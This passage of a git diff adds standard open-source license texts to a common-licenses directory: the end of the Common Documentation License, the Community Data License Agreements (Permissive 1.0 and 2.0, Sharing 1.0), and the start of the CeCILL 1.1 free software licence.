+10. Waiver; Severability; Governing Law. Failure by the Copyright Holder to enforce any provision of this License will not be deemed a waiver of future enforcement of that or any other provision. If for any reason a court of competent jurisdiction finds any provision of this License, or portion thereof, to be unenforceable, that provision of the License will be enforced to the maximum extent permissible so as to effect the economic benefits and intent of the parties, and the remainder of this License will continue in full force and effect. This License shall be governed by the laws of the United States and the State of California, except that body of California law concerning conflicts of law.
+
+EXHIBIT A
+
+The proper form for an incorporation of this License by reference is as follows:
+
+"Copyright (c) [year] by [Copyright Holder's name]. This material has been released under and is subject to the terms of the Common Documentation License, v.1.0, the terms of which are hereby incorporated by reference. Please obtain a copy of the License at http://www.opensource.apple.com/cdl/ and read it before using this material. Your use of this material signifies your agreement to the terms of the License."
diff --git a/meta/files/common-licenses/CDLA-Permissive-1.0 b/meta/files/common-licenses/CDLA-Permissive-1.0
new file mode 100644
index 0000000000..28249cf1f3
--- /dev/null
+++ b/meta/files/common-licenses/CDLA-Permissive-1.0
@@ -0,0 +1,85 @@
+Community Data License Agreement – Permissive – Version 1.0
+
+This is the Community Data License Agreement – Permissive, Version 1.0 (“Agreement”). Data is provided to You under this Agreement by each of the Data Providers. Your exercise of any of the rights and permissions granted below constitutes Your acceptance and agreement to be bound by the terms and conditions of this Agreement.
+
+The benefits that each Data Provider receives from making Data available and that You receive from Data or otherwise under these terms and conditions shall be deemed sufficient consideration for the formation of this Agreement. Accordingly, Data Provider(s) and You (the “Parties”) agree as follows:
+
+Section 1. Definitions
+
+1.1 “Add” means to supplement Data with Your own or someone else’s Data, resulting in Your “Additions.” Additions do not include Results.
+
+1.2 “Computational Use” means Your analysis (through the use of computational devices or otherwise) or other interpretation of Data. By way of example and not limitation, “Computational Use” includes the application of any computational analytical technique, the purpose of which is the analysis of any Data in digital form to generate information about Data such as patterns, trends, correlations, inferences, insights and attributes.
+
+1.3 “Data” means the information (including copyrightable information, such as images or text), collectively or individually, whether created or gathered by a Data Provider or an Entity acting on its behalf, to which rights are granted under this Agreement.
+
+1.4 “Data Provider” means any Entity (including any employee or contractor of such Entity authorized to Publish Data on behalf of such Entity) that Publishes Data under this Agreement prior to Your Receiving it.
+
+1.5 “Enhanced Data” means the subset of Data that You Publish and that is composed of (a) Your Additions and/or (b) Modifications to Data You have received under this Agreement.
+
+1.6 “Entity” means any natural person or organization that exists under the laws of the jurisdiction in which it is organized, together with all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, “control” means (a) the power, directly or indirectly, to cause the direction or management of such entity, whether by contract or otherwise, (b) the ownership of more than fifty percent (50%) of the outstanding shares or securities, (c) the beneficial ownership of such entity or, (d) the ability to appoint, whether by agreement or right, the majority of directors of an Entity.
+
+1.7 “Modify” means to delete, erase, correct or re-arrange Data, resulting in “Modifications.” Modifications do not include Results.
+
+1.8 “Publish” means to make all or a subset of Data (including Your Enhanced Data) available in any manner which enables its Use, including by providing a copy on physical media or remote access. For any form of Entity, that is to make the Data available to any individual who is not employed by that Entity or engaged as a contractor or agent to perform work on that Entity’s behalf. A “Publication” occurs each time You Publish Data.
+
+1.9 “Receive” or “Receives” means to have been given access to Data, locally or remotely.
+
+1.10 “Results” means the outcomes or outputs that You obtain from Your Computational Use of Data. Results shall not include more than a de minimis portion of the Data on which the Computational Use is based.
+
+1.11 “Sui Generis Database Rights” means rights, other than copyright, resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other equivalent rights anywhere in the world.
+
+1.12 “Use” means using Data (including accessing, copying, studying, reviewing, adapting, analyzing, evaluating, or making Computational Use of it), either by machines or humans, or a combination of both.
+
+1.13 “You” or “Your” means any Entity that Receives Data under this Agreement.
+
+Section 2. Right and License to Use and to Publish
+
+2.1 Subject to the conditions set forth in Section 3 of this Agreement, Data Provider(s) hereby grant(s) to You a worldwide, non-exclusive, irrevocable (except as provided in Section 5) right to: (a) Use Data; and (b) Publish Data.
+
+2.2 To the extent that the Data or the coordination, selection or arrangement of Data is protected or protectable under copyright, Sui Generis Database Rights, or other law, Data Provider(s) further agree(s) that such Data or coordination, selection or arrangement is hereby licensed to You and to anyone else who Receives Data under this Agreement for Use and Publication, subject to the conditions set forth in Section 3 of this Agreement.
+
+2.3 Except for these rights and licenses expressly granted, no other intellectual property rights are granted or should be implied.
+
+Section 3. Conditions on Rights Granted
+
+3.1 If You Publish Data You Receive or Enhanced Data:
+
+(a) You may do so under a license of Your choice provided that You give anyone who Receives the Data from You the text of this Agreement, the name of this Agreement and/or a hyperlink or other method reasonably likely to provide a copy of the text of this Agreement; and
+
+(b) You must cause any Data files containing Enhanced Data to carry prominent notices that You have changed those files; and
+
+(c) If You Publish Data You Receive, You must preserve all credit or attribution to the Data Provider(s). Such retained credit or attribution includes any of the following to the extent they exist in Data as You have Received it: legal notices or metadata; identification of the Data Provider(s); or hyperlinks to Data to the extent it is practical to do so.
+
+3.2 You may provide additional or different license terms and conditions for use, reproduction, or distribution of that Enhanced Data, or for any combination of Data and Enhanced Data as a whole, provided that Your Use and Publication of that combined Data otherwise complies with the conditions stated in this License.
+
+3.3 You and each Data Provider agree that Enhanced Data shall not be considered a work of joint authorship by virtue of its relationship to Data licensed under this Agreement and shall not require either any obligation of accounting to or the consent of any Data Provider.
+
+3.4 This Agreement imposes no obligations or restrictions on Your Use or Publication of Results.
+
+Section 4. Data Provider(s)’ Representations
+
+4.1 Each Data Provider represents that the Data Provider has exercised reasonable care, to assure that: (a) the Data it Publishes was created or generated by it or was obtained from others with the right to Publish the Data under this Agreement; and (b) Publication of such Data does not violate any privacy or confidentiality obligation undertaken by the Data Provider.
+
+Section 5. Termination
+
+5.1 All of Your rights under this Agreement will terminate, and Your right to Receive, Use or Publish the Data will be revoked or modified if You materially fail to comply with the terms and conditions of this Agreement and You do not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If Your rights under this Agreement terminate, You agree to cease Receipt, Use and Publication of Data. However, Your obligations and any rights and permissions granted by You under this Agreement relating to Data that You Published prior to such termination will continue and survive.
+
+5.2 If You institute litigation against a Data Provider or anyone else who Receives the Data (including a cross-claim in a lawsuit) based on the Data, other than a claim asserting breach of this Agreement, then any rights previously granted to You to Receive, Use and Publish Data under this Agreement will terminate as of the date such litigation is filed.
+
+Section 6. Disclaimer of Warranties and Limitation of Liability
+
+6.1 EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE DATA (INCLUDING ENHANCED DATA) IS PROVIDED ON AN “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+6.2 NEITHER YOU NOR ANY DATA PROVIDERS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE DATA OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+Section 7. Miscellaneous
+
+7.1 You agree that it is solely Your responsibility to comply with all applicable laws with regard to Your Use or Publication of Data, including any applicable privacy, data protection, security and export laws. You agree to take reasonable steps to assist a Data Provider fulfilling responsibilities to comply with applicable laws with regard to Use or Publication of Data Received hereunder.
+
+7.2 You and Data Provider(s), collectively and individually, waive and/or agree not to assert, to the extent permitted by law, any moral rights You or they hold in Data.
+
+7.3 This Agreement confers no rights or remedies upon any person or entity other than the Parties and their respective heirs, executors, successors and assigns.
+
+7.4 The Data Provider(s) reserve no right or expectation of privacy, data protection or confidentiality in any Data that they Publish under this Agreement. If You choose to Publish Data under this Agreement, You similarly do so with no reservation or expectation of any rights of privacy or confidentiality in that Data.
+
+7.5 The Community Data License Agreement workgroup under The Linux Foundation is the steward of this Agreement (“Steward”). No one other than the Steward has the right to modify or publish new versions of this Agreement. Each version will be given a distinguishing version number. You may Use and Publish Data Received hereunder under the terms of the version of the Agreement under which You originally Received the Data, or under the terms of any subsequent version published by the Steward.
diff --git a/meta/files/common-licenses/CDLA-Permissive-2.0 b/meta/files/common-licenses/CDLA-Permissive-2.0
new file mode 100644
index 0000000000..cc0f954b59
--- /dev/null
+++ b/meta/files/common-licenses/CDLA-Permissive-2.0
@@ -0,0 +1,35 @@
+Community Data License Agreement - Permissive - Version 2.0
+
+This is the Community Data License Agreement - Permissive, Version 2.0 (the "agreement"). Data Provider(s) and Data Recipient(s) agree as follows:
+
+1. Provision of the Data
+
+1.1. A Data Recipient may use, modify, and share the Data made available by Data Provider(s) under this agreement if that Data Recipient follows the terms of this agreement.
+
+1.2. This agreement does not impose any restriction on a Data Recipient's use, modification, or sharing of any portions of the Data that are in the public domain or that may be used, modified, or shared under any other legal exception or limitation.
+
+2. Conditions for Sharing Data
+
+2.1. A Data Recipient may share Data, with or without modifications, so long as the Data Recipient makes available the text of this agreement with the shared Data.
+
+3. No Restrictions on Results
+
+3.1. This agreement does not impose any restriction or obligations with respect to the use, modification, or sharing of Results.
+
+4. No Warranty; Limitation of Liability
+
+4.1. All Data Recipients receive the Data subject to the following terms:
+
+THE DATA IS PROVIDED ON AN "AS IS" BASIS, WITHOUT REPRESENTATIONS, WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+NO DATA PROVIDER SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE DATA OR RESULTS, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+5. Definitions
+
+5.1. "Data" means the material received by a Data Recipient under this agreement.
+
+5.2. "Data Provider" means any person who is the source of Data provided under this agreement and in reliance on a Data Recipient's agreement to its terms.
+
+5.3. "Data Recipient" means any person who receives Data directly or indirectly from a Data Provider and agrees to the terms of this agreement.
+
+5.4. "Results" means any outcome obtained by computational analysis of Data, including for example machine learning models and models' insights.
diff --git a/meta/files/common-licenses/CDLA-Sharing-1.0 b/meta/files/common-licenses/CDLA-Sharing-1.0
new file mode 100644
index 0000000000..dba8e2576e
--- /dev/null
+++ b/meta/files/common-licenses/CDLA-Sharing-1.0
@@ -0,0 +1,89 @@
+Community Data License Agreement – Sharing – Version 1.0
+
+This is the Community Data License Agreement – Sharing, Version 1.0 (“Agreement”). Data is provided to You under this Agreement by each of the Data Providers. Your exercise of any of the rights and permissions granted below constitutes Your acceptance and agreement to be bound by the terms and conditions of this Agreement.
+
+The benefits that each Data Provider receives from making Data available and that You receive from Data or otherwise under these terms and conditions shall be deemed sufficient consideration for the formation of this Agreement. Accordingly, Data Provider(s) and You (the “Parties”) agree as follows:
+
+Section 1. Definitions
+
+1.1 “Add” means to supplement Data with Your own or someone else’s Data, resulting in Your “Additions.” Additions do not include Results.
+
+1.2 “Computational Use” means Your analysis (through the use of computational devices or otherwise) or other interpretation of Data. By way of example and not limitation, “Computational Use” includes the application of any computational analytical technique, the purpose of which is the analysis of any Data in digital form to generate information about Data such as patterns, trends, correlations, inferences, insights and attributes.
+
+1.3 “Data” means the information (including copyrightable information, such as images or text), collectively or individually, whether created or gathered by a Data Provider or an Entity acting on its behalf, to which rights are granted under this Agreement.
+
+1.4 “Data Provider” means any Entity (including any employee or contractor of such Entity authorized to Publish Data on behalf of such Entity) that Publishes Data under this Agreement prior to Your Receiving it.
+
+1.5 “Enhanced Data” means the subset of Data that You Publish and that is composed of (a) Your Additions and/or (b) Modifications to Data You have received under this Agreement.
+
+1.6 “Entity” means any natural person or organization that exists under the laws of the jurisdiction in which it is organized, together with all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, “control” means (a) the power, directly or indirectly, to cause the direction or management of such entity, whether by contract or otherwise, (b) the ownership of more than fifty percent (50%) of the outstanding shares or securities, (c) the beneficial ownership of such entity or, (d) the ability to appoint, whether by agreement or right, the majority of directors of an Entity.
+
+1.7 “Ledger” means a digital record of Data or grants of rights in Data governed by this Agreement, using any technology having functionality to record and store Data or grants, contributions, or licenses to Data governed by this Agreement.
+
+1.8 “Modify” means to delete, erase, correct or re-arrange Data, resulting in “Modifications.” Modifications do not include Results.
+
+1.9 “Publish” means to make all or a subset of Data (including Your Enhanced Data) available in any manner which enables its Use, including by providing a copy on physical media or remote access. For any form of Entity, that is to make the Data available to any individual who is not employed by that Entity or engaged as a contractor or agent to perform work on that Entity’s behalf. A “Publication” occurs each time You Publish Data.
+
+1.10 “Receive” or “Receives” means to have been given access to Data, locally or remotely.
+
+1.11 “Results” means the outcomes or outputs that You obtain from Your Computational Use of Data. Results shall not include more than a de minimis portion of the Data on which the Computational Use is based.
+
+1.12 “Sui Generis Database Rights” means rights, other than copyright, resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other equivalent rights anywhere in the world.
+
+1.13 “Use” means using Data (including accessing, copying, studying, reviewing, adapting, analyzing, evaluating, or making Computational Use of it), either by machines or humans, or a combination of both.
+
+1.14 “You” or “Your” means any Entity that Receives Data under this Agreement.
+
+Section 2. Right and License to Use and to Publish
+
+2.1 Subject to the conditions set forth in Section 3 of this Agreement, Data Provider(s) hereby grant(s) to You a worldwide, non-exclusive, irrevocable (except as provided in Section 5) right to: (a) Use Data; and (b) Publish Data.
+
+2.2 To the extent that the Data or the coordination, selection or arrangement of Data is protected or protectable under copyright, Sui Generis Database Rights, or other law, Data Provider(s) further agree(s) that such Data or coordination, selection or arrangement is hereby licensed to You and to anyone else who Receives Data under this Agreement for Use and Publication, subject to the conditions set forth in Section 3 of this Agreement.
+
+2.3 Except for these rights and licenses expressly granted, no other intellectual property rights are granted or should be implied.
+
+Section 3. Conditions on Rights Granted
+
+3.1 If You Publish Data You Receive or Enhanced Data:
+
+(a) The Data (including the Enhanced Data) must be Published under this Agreement in accordance with this Section 3; and
+
+(b) You must cause any Data files containing Enhanced Data to carry prominent notices that You have changed those files; and
+
+(c) If You Publish Data You Receive, You must preserve all credit or attribution to the Data Provider(s). Such retained credit or attribution includes any of the following to the extent they exist in Data as You have Received it: legal notices or metadata; identification of the Data Provider(s); or hyperlinks to Data to the extent it is practical to do so.
+
+3.2 You may not restrict or deter the ability of anyone who Receives the Data (a) to Publish the Data in a publicly-accessible manner or (b) if the project has designated a Ledger for recording Data or grants of rights in Data for purposes of this Agreement, to record the Data or grants of rights in Data in the Ledger.
+
+3.3 If You Publish Data You Receive, You must do so under an unmodified form of this Agreement and include the text of this Agreement, the name of this Agreement and/or a hyperlink or other method reasonably likely to provide a copy of the text of this Agreement. You may not modify this Agreement or impose any further restrictions on the exercise of the rights granted under this Agreement, including by adding any restriction on commercial or non-commercial Use of Data (including Your Enhanced Data) or by limiting permitted Use of such Data to any particular platform, technology or field of endeavor. Notices that purport to modify this Agreement shall be of no effect.
+
+3.4 You and each Data Provider agree that Enhanced Data shall not be considered a work of joint authorship by virtue of its relationship to Data licensed under this Agreement and shall not require either any obligation of accounting to or the consent of any Data Provider.
+
+3.5 This Agreement imposes no obligations or restrictions on Your Use or Publication of Results.
+
+Section 4. Data Provider(s)’ Representations
+
+4.1 Each Data Provider represents that the Data Provider has exercised reasonable care, to assure that: (a) the Data it Publishes was created or generated by it or was obtained from others with the right to Publish the Data under this Agreement; and (b) Publication of such Data does not violate any privacy or confidentiality obligation undertaken by the Data Provider.
+
+Section 5. Termination
+
+5.1 All of Your rights under this Agreement will terminate, and Your right to Receive, Use or Publish the Data will be revoked or modified if You materially fail to comply with the terms and conditions of this Agreement and You do not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If Your rights under this Agreement terminate, You agree to cease Receipt, Use and Publication of Data. However, Your obligations and any rights and permissions granted by You under this Agreement relating to Data that You Published prior to such termination will continue and survive.
+
+5.2 If You institute litigation against a Data Provider or anyone else who Receives the Data (including a cross-claim in a lawsuit) based on the Data, other than a claim asserting breach of this Agreement, then any rights previously granted to You to Receive, Use and Publish Data under this Agreement will terminate as of the date such litigation is filed.
+
+Section 6. Disclaimer of Warranties and Limitation of Liability
+
+6.1 EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE DATA (INCLUDING ENHANCED DATA) IS PROVIDED ON AN “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+6.2 NEITHER YOU NOR ANY DATA PROVIDERS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE DATA OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+Section 7. Miscellaneous
+
+7.1 You agree that it is solely Your responsibility to comply with all applicable laws with regard to Your Use or Publication of Data, including any applicable privacy, data protection, security and export laws. You agree to take reasonable steps to assist a Data Provider fulfilling responsibilities to comply with applicable laws with regard to Use or Publication of Data Received hereunder.
+
+7.2 You and Data Provider(s), collectively and individually, waive and/or agree not to assert, to the extent permitted by law, any moral rights You or they hold in Data.
+
+7.3 This Agreement confers no rights or remedies upon any person or entity other than the Parties and their respective heirs, executors, successors and assigns.
+
+7.4 The Data Provider(s) reserve no right or expectation of privacy, data protection or confidentiality in any Data that they Publish under this Agreement. If You choose to Publish Data under this Agreement, You similarly do so with no reservation or expectation of any rights of privacy or confidentiality in that Data.
+
+7.5 The Community Data License Agreement workgroup under The Linux Foundation is the steward of this Agreement (“Steward”). No one other than the Steward has the right to modify or publish new versions of this Agreement. Each version will be given a distinguishing version number. You may Use and Publish Data Received hereunder under the terms of the version of the Agreement under which You originally Received the Data, or under the terms of any subsequent version published by the Steward.
diff --git a/meta/files/common-licenses/CECILL-1.1 b/meta/files/common-licenses/CECILL-1.1
new file mode 100644
index 0000000000..95bea5c9db
--- /dev/null
+++ b/meta/files/common-licenses/CECILL-1.1
@@ -0,0 +1,229 @@
+ FREE SOFTWARE LICENSING AGREEMENT CeCILL
+
+Notice
+
+This Agreement is a free software license that is the result of discussions between its authors in order to ensure compliance with the two main principles guiding its drafting:
+ - firstly, its conformity with French law, both as regards the law of torts and intellectual property law, and the protection that it offers to authors and the holders of economic rights over software.
+ - secondly, compliance with the principles for the distribution of free software: access to source codes, extended user-rights.
+
+The following bodies are the authors of this license CeCILL (Ce : CEA, C : CNRS, I : INRIA, LL : Logiciel Libre):
+
+Commissariat à l'Energie Atomique - CEA, a public scientific, technical and industrial establishment, having its principal place of business at 31-33 rue de la Fédération, 75752 PARIS cedex 15, France.
+
+Centre National de la Recherche Scientifique - CNRS, a public scientific and technological establishment, having its principal place of business at 3 rue Michel-Ange 75794 Paris cedex 16, France.
+
+Institut National de Recherche en Informatique et en Automatique - INRIA, a public scientific and technological establishment, having its principal place of business at Domaine de Voluceau, Rocquencourt, BP 105, 78153 Le Chesnay cedex.
+
+PREAMBLE
+
+The purpose of this Free Software Licensing Agreement is to grant users the right to modify and redistribute the software governed by this license within the framework of an "open source" distribution model.
+
+The exercising of these rights is conditional upon certain obligations for users so as to ensure that this status is retained for subsequent redistribution operations.
+
+As a counterpart to the access to the source code and rights to copy, modify and redistribute granted by the license, users are provided only with a limited warranty and the software's author, the holder of the economic rights, and the successive licensors only have limited liability.
+
+In this respect, it is brought to the user's attention that the risks associated with loading, using, modifying and/or developing or reproducing the software by the user given its nature of Free Software, that may mean that it is complicated to manipulate, and that also therefore means that it is reserved for developers and experienced professionals having in-depth computer knowledge. Users are therefore encouraged to load and test the Software's suitability as regards their requirements in conditions enabling the security of their systems and/or data to be ensured and, more generally, to use and operate it in the same conditions of security. This Agreement may be freely reproduced and published, provided it is not altered, and that no Articles are either added or removed herefrom.
+
+This Agreement may apply to any or all software for which the holder of the economic rights decides to submit the operation thereof to its provisions.
+
+Article 1 - DEFINITIONS
+
+For the purposes of this Agreement, when the following expressions commence with a capital letter, they shall have the following meaning:
+
+Agreement: means this Licensing Agreement, and any or all of its subsequent versions.
+
+Software: means the software in its Object Code and/or Source Code form and, where applicable, its documentation, "as is" at the time when the Licensee accepts the Agreement.
+
+Initial Software: means the Software in its Source Code and/or Object Code form and, where applicable, its documentation, "as is" at the time when it is distributed for the first time under the terms and conditions of the Agreement.
+
+Modified Software: means the Software modified by at least one Contribution.
+
+Source Code: means all the Software's instructions and program lines to which access is required so as to modify the Software.
+
+Object Code: means the binary files originating from the compilation of the Source Code.
+
+Holder: means the holder of the economic rights over the Initial Software.
+
+Licensee(s): mean(s) the Software user(s) having accepted the Agreement.
+
+Contributor: means a Licensee having made at least one Contribution.
+
+Licensor: means the Holder, or any or all other individual or legal entity, that distributes the Software under the Agreement.
+
+Contributions: mean any or all modifications, corrections, translations, adaptations and/or new functionalities integrated into the Software by any or all Contributor, and the Static Modules.
+
+Module: means a set of sources files including their documentation that, once compiled in executable form, enables supplementary functionalities or services to be developed in addition to those offered by the Software.
+
+Dynamic Module: means any or all module, created by the Contributor, that is independent of the Software, so that this module and the Software are in two different executable forms that are run in separate address spaces, with one calling the other when they are run.
+
+Static Module: means any or all module, created by the Contributor and connected to the Software by a static link that makes their object codes interdependent. This module and the Software to which it is connected, are combined in a single executable.
+
+Parties: mean both the Licensee and the Licensor.
+
+These expressions may be used both in singular and plural form.
+
+Article 2 - PURPOSE
+
+The purpose of the Agreement is to enable the Licensor to grant the Licensee a free, non-exclusive, transferable and worldwide License for the Software as set forth in Article 5 hereinafter for the whole term of protection of the rights over said Software.
+
+Article 3 - ACCEPTANCE
+
+3.1. The Licensee shall be deemed as having accepted the terms and conditions of this Agreement by the occurrence of the first of the following events:
+ (i) loading the Software by any or all means, notably, by downloading from a remote server, or by loading from a physical medium;
+ (ii) the first time the Licensee exercises any of the rights granted hereunder.
+
+3.2. One copy of the Agreement, containing a notice relating to the specific nature of the Software, to the limited warranty, and to the limitation to use by experienced users has been provided to the Licensee prior to its acceptance as set forth in Article 3.1 hereinabove, and the Licensee hereby acknowledges that it is aware thereof.
+
+Article 4 - EFFECTIVE DATE AND TERM
+
+4.1. EFFECTIVE DATE
+
+The Agreement shall become effective on the date when it is accepted by the Licensee as set forth in Article 3.1.
+
+4.2. TERM
+
+The Agreement shall remain in force during the whole legal term of protection of the economic rights over the Software.
+
+Article 5 - SCOPE OF THE RIGHTS GRANTED ---------------------------------------
+
+The Licensor hereby grants to the Licensee, that accepts such, the following rights as regards the Software for any or all use, and for the term of the Agreement, on the basis of the terms and conditions set forth hereinafter.
+
+Otherwise, the Licensor grants to the Licensee free of charge exploitation rights on the patents he holds on whole or part of the inventions implemented in the Software.
+
+5.1. RIGHTS OF USE
+
+The Licensee is authorized to use the Software, unrestrictedly, as regards the fields of application, with it being hereinafter specified that this relates to:
+ 1. permanent or temporary reproduction of all or part of the Software by any or all means and in any or all form.
+ 2. loading, displaying, running, or storing the Software on any or all medium.
+ 3. entitlement to observe, study or test the operation thereof so as to establish the ideas and principles that form the basis for any or all constituent elements of said Software. This shall apply when the Licensee carries out any or all loading, displaying, running, transmission or storage operation as regards the Software, that it is entitled to carry out hereunder.
+
+5.2. entitlement to make CONTRIBUTIONS
+
+The right to make Contributions includes the right to translate, adapt, arrange, or make any or all modification to the Software, and the right to reproduce the resulting Software.
+
+The Licensee is authorized to make any or all Contribution to the Software provided that it explicitly mentions its name as the author of said Contribution and the date of the development thereof.
+
+5.3. DISTRIBUTION AND PUBLICATION RIGHTS
+
+In particular, the right of distribution and publication includes the right to transmit and communicate the Software to the general public on any or all medium, and by any or all means, and the right to market, either in consideration of a fee, or free of charge, a copy or copies of the Software by means of any or all process. The Licensee is further authorized to redistribute copies of the modified or unmodified Software to third parties according to the terms and conditions set forth hereinafter.
+
+5.3.1. REDISTRIBUTION OF SOFTWARE WITHOUT MODIFICATION
+
+The Licensee is authorized to redistribute true copies of the Software in Source Code or Object Code form, provided that said redistribution complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+ 2. a notice relating to the limitation of both the Licensor's warranty and liability as set forth in Articles 8 and 9,
+
+and that, in the event that only the Software's Object Code is redistributed, the Licensee allows future Licensees unhindered access to the Software's full Source Code by providing them with the terms and conditions for access thereto, it being understood that the additional cost of acquiring the Source Code shall not exceed the cost of transferring the data.
+
+5.3.2. REDISTRIBUTION OF MODIFIED SOFTWARE
+
+When the Licensee makes a Contribution to the Software, the terms and conditions for the redistribution of the Modified Software shall then be subject to all the provisions hereof.
+
+The Licensee is authorized to redistribute the Modified Software, in Source Code or Object Code form, provided that said redistribution complies with all the provisions of the Agreement and is accompanied by:
+
+ 1. a copy of the Agreement,
+ 2. a notice relating to the limitation of both the Licensor's warranty and liability as set forth in Articles 8 and 9,
+
+and that, in the event that only the Modified Software's Object Code is redistributed, the Licensee allows future Licensees unhindered access to the Modified Software's full Source Code by providing them with the terms and conditions for access thereto, it being understood that the additional cost of acquiring the Source Code shall not exceed the cost of transferring the data.
+
+5.3.3. redistribution OF DYNAMIC MODULES
+
+When the Licensee has developed a Dynamic Module, the terms and conditions hereof do not apply to said Dynamic Module, that may be distributed under a separate Licensing Agreement.
+
+5.3.4. COMPATIBILITY WITH THE GPL LICENSE
+
+In the event that the Modified or unmodified Software is included in a code that is subject to the provisions of the GPL License, the Licensee is authorized to redistribute the whole under the GPL License.
+
+In the event that the Modified Software includes a code that is subject to the provisions of the GPL License, the Licensee is authorized to redistribute the Modified Software under the GPL License.
+
+Article 6 - INTELLECTUAL PROPERTY
+
+6.1. OVER THE INITIAL SOFTWARE
+
+The Holder owns the economic rights over the Initial Software. Any or all use of the Initial Software is subject to compliance with the terms and conditions under which the Holder has elected to distribute its work and no one shall be entitled to and it shall have sole entitlement to modify the terms and conditions for the distribution of said Initial Software.
+
+The Holder undertakes to maintain the distribution of the Initial Software under the conditions of the Agreement, for the duration set forth in article 4.2..
+
+6.2. OVER THE CONTRIBUTIONS
+
+The intellectual property rights over the Contributions belong to the holder of the economic rights as designated by effective legislation.
+
+6.3. OVER THE DYNAMIC MODULES
+
+The Licensee having developed a Dynamic Module is the holder of the intellectual property rights over said Dynamic Module and is free to choose the agreement that shall govern its distribution.
+
+6.4. JOINT PROVISIONS
+
+6.4.1. The Licensee expressly undertakes:
+
+ 1. not to remove, or modify, in any or all manner, the intellectual property notices affixed to the Software;
+ 2. to reproduce said notices, in an identical manner, in the copies of the Software.
+
+6.4.2. The Licensee undertakes not to directly or indirectly infringe the intellectual property rights of the Holder and/or Contributors and to take, where applicable, vis-à-vis its staff, any or all measures required to ensure respect for said intellectual property rights of the Holder and/or Contributors.
+
+Article 7 - RELATED SERVICES
+
+7.1. Under no circumstances shall the Agreement oblige the Licensor to provide technical assistance or maintenance services for the Software.
+
+However, the Licensor is entitled to offer this type of service. The terms and conditions of such technical assistance, and/or such maintenance, shall then be set forth in a separate instrument. Only the Licensor offering said maintenance and/or technical assistance services shall incur liability therefor.
+
+7.2. Similarly, any or all Licensor shall be entitled to offer to its Licensees, under its own responsibility, a warranty, that shall only be binding upon itself, for the redistribution of the Software and/or the Modified Software, under terms and conditions that it shall decide upon itself. Said warranty, and the financial terms and conditions of its application, shall be subject to a separate instrument executed between the Licensor and the Licensee.
+
+Article 8 - LIABILITY
+
+8.1. Subject to the provisions of Article 8.2, should the Licensor fail to fulfill all or part of its obligations hereunder, the Licensee shall be entitled to claim compensation for the direct loss suffered as a result of a fault on the part of the Licensor, subject to providing evidence of it.
+
+8.2. The Licensor's liability is limited to the commitments made under this Licensing Agreement and shall not be incurred as a result , in particular: (i) of loss due the Licensee's total or partial failure to fulfill its obligations, (ii) direct or consequential loss due to the Software's use or performance that is suffered by the Licensee, when the latter is a professional using said Software for professional purposes and (iii) consequential loss due to the Software's use or performance. The Parties expressly agree that any or all pecuniary or business loss (i.e. loss of data, loss of profits, operating loss, loss of customers or orders, opportunity cost, any disturbance to business activities) or any or all legal proceedings instituted against the Licensee by a third party, shall constitute consequential loss and shall not provide entitlement to any or all compensation from the Licensor.
+
+Article 9 - WARRANTY
+
+9.1. The Licensee acknowledges that the current situation as regards scientific and technical know-how at the time when the Software was distributed did not enable all possible uses to be tested and verified, nor for the presence of any or all faults to be detected. In this respect, the Licensee's attention has been drawn to the risks associated with loading, using, modifying and/or developing and reproducing the Software that are reserved for experienced users.
+
+The Licensee shall be responsible for verifying, by any or all means, the product's suitability for its requirements, its due and proper functioning, and for ensuring that it shall not cause damage to either persons or property.
